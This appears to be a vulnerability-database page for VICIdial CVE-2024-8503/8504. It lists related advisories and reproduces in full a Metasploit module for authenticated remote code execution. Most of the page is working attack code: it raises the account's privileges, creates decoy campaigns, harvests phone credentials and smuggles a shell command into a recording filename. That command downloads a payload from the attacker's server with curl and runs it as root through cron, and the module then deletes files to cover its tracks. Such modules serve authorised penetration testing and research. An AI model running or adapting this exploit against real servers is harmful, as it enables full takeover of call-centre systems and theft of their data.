| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
| VICIdial 2.14-917a SQL Injection Vulnerability | 11 Sep 202400:00 | – | zdt | |
| VICIdial 2.14-917a Remote Code Execution Vulnerability | 11 Sep 202400:00 | – | zdt | |
| VICIdial Authenticated Remote Code Execution Exploit | 1 Oct 202400:00 | – | zdt | |
| Exploit for CVE-2024-8504 | 14 Sep 202406:27 | – | githubexploit | |
| Exploit for CVE-2024-8504 | 22 Sep 202420:17 | – | githubexploit | |
| Exploit for CVE-2024-8503 | 29 Apr 202609:13 | – | githubexploit | |
| The vulnerability in the VERM_AJAX_functions.php script of the software for managing call centers allows a violator to execute arbitrary code. | 26 Feb 202500:00 | – | bdu_fstec | |
| CVE-2024-8503 | 10 Sep 202422:37 | – | circl | |
| CVE-2024-8504 | 10 Sep 202422:37 | – | circl | |
| VICIdial 安全漏洞 | 10 Sep 202400:00 | – | cnnvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
prepend Msf::Exploit::Remote::AutoCheck
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VICIdial Authenticated Remote Code Execution',
'Description' => %q{
An attacker with authenticated access to VICIdial as an "agent"
can execute arbitrary shell commands as the "root" user. This
attack can be chained with CVE-2024-8503 to execute arbitrary
shell commands starting from an unauthenticated perspective.
},
'Author' => [
'Valentin Lobstein', # Metasploit Module
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-8504'],
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
],
'DisclosureDate' => '2024-09-10',
'Platform' => %w[unix linux],
'Arch' => %w[ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Privileged' => true
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 300,
'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'Administrator username']),
OptString.new('PASSWORD', [true, 'Administrator password']),
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'GET'
})
return CheckCode::Unknown unless res&.code == 200
html_doc = res.get_html_document
version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
res.body.split("\n").find { |line| line.include?('VERSION:') }
return CheckCode::Unknown unless version_info
extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')
return CheckCode::Unknown if extracted_version.empty?
print_status("VICIdial version: #{extracted_version}")
vulnerable_version = Rex::Version.new('2.14-917a')
current_version = Rex::Version.new(extracted_version)
return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe
end
def exploit
# Start the HTTP server to handle incoming requests from the payload
start_service
print_status('Server started.')
# Add the resource to serve the payload and prepare the listener
primer
# Authenticate as an administrator using provided credentials
target_uri, request_headers = authenticate_admin
# Elevate user privileges by updating user settings
update_user_settings(target_uri, request_headers)
# Update the system settings for further exploitation
update_system_settings(target_uri, request_headers)
# Create a dummy campaign to act as a decoy during the attack
fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)
# Modify the settings of the newly created dummy campaign
update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
# Create a dummy list associated with the dummy campaign
create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
# Retrieve phone credentials (extension and password) to authenticate as an agent
phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)
# Authenticate to the agent portal using the retrieved phone credentials and campaign ID
session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
# Insert a malicious recording that contains the payload, using the agent session
insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
# Clean up by deleting the campaign created earlier
delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)
# Start the cron job to execute the malicious payload
wait_for_cron_job
end
def primer
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
print_status('Payload is ready at /')
end
def on_request_uri_payload(cli, request)
bash_command = <<-BASH
#!/bin/bash
rm -- $(readlink /proc/$$/fd/255)
cd /var/spool/asterisk/monitor/
#{payload.encoded}
find . -maxdepth 1 -type f -delete
BASH
handle_request(cli, request, bash_command)
end
def handle_request(cli, request, response_payload)
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
case request.uri
when '/'
print_status("Sending response to #{cli.peerhost} for /")
send_response(cli, response_payload)
else
print_error("Request for unknown resource: #{request.uri}")
send_not_found(cli)
end
end
def delete_dummy_campaign(target_uri, request_headers, campaign_id)
print_status("Deleting dummy campaign with ID: #{campaign_id}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
'method' => 'GET',
'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
'headers' => request_headers
})
res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
end
def authenticate_admin
username = datastore['USERNAME']
password = datastore['PASSWORD']
credentials = "#{username}:#{password}"
credentials_base64 = Rex::Text.encode_base64(credentials)
auth_header = "Basic #{credentials_base64}"
target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
request_params = { 'ADD' => '3', 'user' => username }
request_headers = { 'Authorization' => auth_header }
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'vars_get' => request_params,
'headers' => request_headers,
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200
print_good("Authenticated successfully as user '#{username}'")
[target_uri, request_headers]
end
def update_user_settings(target_uri, request_headers)
faker = Faker::Internet
user_settings_body = {
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => user_settings_body,
'keep_cookies' => true
)
print_good('Updated user settings to increase privileges')
end
def update_system_settings(target_uri, request_headers)
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'headers' => request_headers,
'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res
system_settings_body = {}
res.get_html_document.css('input').each do |input_tag|
system_settings_body[input_tag['name']] = input_tag['value']
end
res.get_html_document.css('select').each do |select_tag|
selected_tag = select_tag.at_css('option[selected]')
next unless selected_tag
system_settings_body[select_tag['name']] = selected_tag.text
end
system_settings_body['outbound_autodial_active'] = '0'
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => system_settings_body,
'keep_cookies' => true
)
print_good('Updated system settings')
end
def create_dummy_campaign(target_uri, request_headers)
fake_company_name = Faker::Company.name
fake_campaign_id = Faker::Number.number(digits: 6).to_i
fake_list_id = fake_campaign_id + 1
fake_list_name = "#{fake_company_name} List"
campaign_settings_body = {
'ADD' => '21',
'campaign_id' => fake_campaign_id,
'campaign_name' => fake_company_name,
'user_group' => '---ALL---',
'active' => 'Y',
'allow_closers' => 'Y',
'hopper_level' => '1',
'next_agent_call' => 'random',
'local_call_time' => '12am-12am',
'get_call_launch' => 'NONE',
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => campaign_settings_body,
'keep_cookies' => true
)
print_good("Created dummy campaign '#{fake_company_name}'")
[fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
end
def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
update_campaign_body = {
'ADD' => '41',
'campaign_id' => fake_campaign_id,
'old_campaign_allow_inbound' => 'Y',
'campaign_name' => fake_company_name,
'active' => 'Y',
'lead_order' => 'DOWN',
'lead_filter_id' => 'NONE',
'no_hopper_leads_logins' => 'Y',
'hopper_level' => '1',
'reset_hopper' => 'N',
'dial_method' => 'RATIO',
'auto_dial_level' => '1',
'SUBMIT' => 'SUBMIT',
'form_end' => 'END'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => update_campaign_body,
'keep_cookies' => true
)
print_good('Updated dummy campaign settings')
end
def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
list_settings_body = {
'ADD' => '211',
'list_id' => fake_list_id,
'list_name' => fake_list_name,
'campaign_id' => fake_campaign_id,
'active' => 'Y',
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => target_uri,
'method' => 'POST',
'headers' => request_headers,
'vars_post' => list_settings_body,
'keep_cookies' => true
)
print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
end
def fetch_phone_credentials(target_uri, request_headers)
res = send_request_cgi(
'uri' => target_uri,
'method' => 'GET',
'headers' => request_headers,
'vars_get' => { 'ADD' => '10000000000' },
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
'method' => 'GET',
'headers' => request_headers,
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res
phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')
if [phone_extension, phone_password, recording_extension].all?
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
else
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
end
[phone_extension, phone_password, recording_extension]
end
def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
vdc_db_query_body = {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'LogiNCamPaigns',
'format' => 'html'
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
'method' => 'POST',
'vars_post' => vdc_db_query_body,
'keep_cookies' => true
)
fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res
doc = res.get_html_document
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')
if mgr_login_name && mgr_pass_name
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
else
begin
today_date = Time.now.strftime('%Y%m%d')
mgr_login_name = "MGR_login#{today_date}"
mgr_pass_name = "MGR_pass#{today_date}"
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
end
end
manager_login_body = {
'DB' => '0',
'JS_browser_height' => '1313',
'JS_browser_width' => '2560',
'phone_login' => phone_extension,
'phone_pass' => phone_password,
'VD_login' => datastore['USERNAME'],
'VD_pass' => datastore['PASSWORD'],
'MGR_override' => '1',
'relogin' => 'YES',
mgr_login_name => datastore['USERNAME'],
mgr_pass_name => datastore['PASSWORD'],
'SUBMIT' => 'SUBMIT'
}
send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => manager_login_body,
'keep_cookies' => true
)
print_good('Entered "manager" credentials to override shift enforcement')
agent_login_body = {
'DB' => '0',
'JS_browser_height' => '1313',
'JS_browser_width' => '2560',
'phone_login' => phone_extension,
'phone_pass' => phone_password,
'VD_login' => datastore['USERNAME'],
'VD_pass' => datastore['PASSWORD'],
'VD_campaign' => fake_campaign_id
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => agent_login_body
)
print_good('Authenticated as agent using phone credentials')
session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)
if session_name_match && session_id_match
session_name = session_name_match[1]
session_id = session_id_match[1]
print_good("Session Name: #{session_name}, Session ID: #{session_id}")
else
fail_with(Failure::NotFound, 'Failed to retrieve session information')
end
[session_name, session_id]
end
def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
print_status("Generated malicious command: #{malicious_filename}")
record1_body = {
'server_ip' => datastore['RHOSTS'],
'session_name' => session_name,
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'MonitorConf',
'format' => 'text',
'channel' => "Local/#{recording_extension}@default",
'filename' => malicious_filename,
'exten' => recording_extension,
'ext_context' => 'default',
'ext_priority' => '1',
'FROMvdc' => 'YES',
'FROMapi' => ''
}
res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => record1_body,
'keep_cookies' => true
)
recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
if recording_id_match
recording_id = recording_id_match[1]
print_status(res.body)
else
fail_with(Failure::Unknown, 'Failed to get recording ID')
end
record2_body = {
'server_ip' => datastore['RHOSTS'],
'session_name' => session_name,
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'ACTION' => 'StopMonitorConf',
'format' => 'text',
'channel' => "Local/#{recording_extension}@default",
'filename' => "ID:#{recording_id}",
'exten' => session_id,
'ext_context' => 'default',
'ext_priority' => '1',
'FROMvdc' => 'YES',
'FROMapi' => ''
}
send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
'method' => 'POST',
'headers' => request_headers,
'vars_post' => record2_body,
'keep_cookies' => true
)
print_good('Stopped malicious recording to prevent file size from growing')
end
def wait_for_cron_job
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
service.wait
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation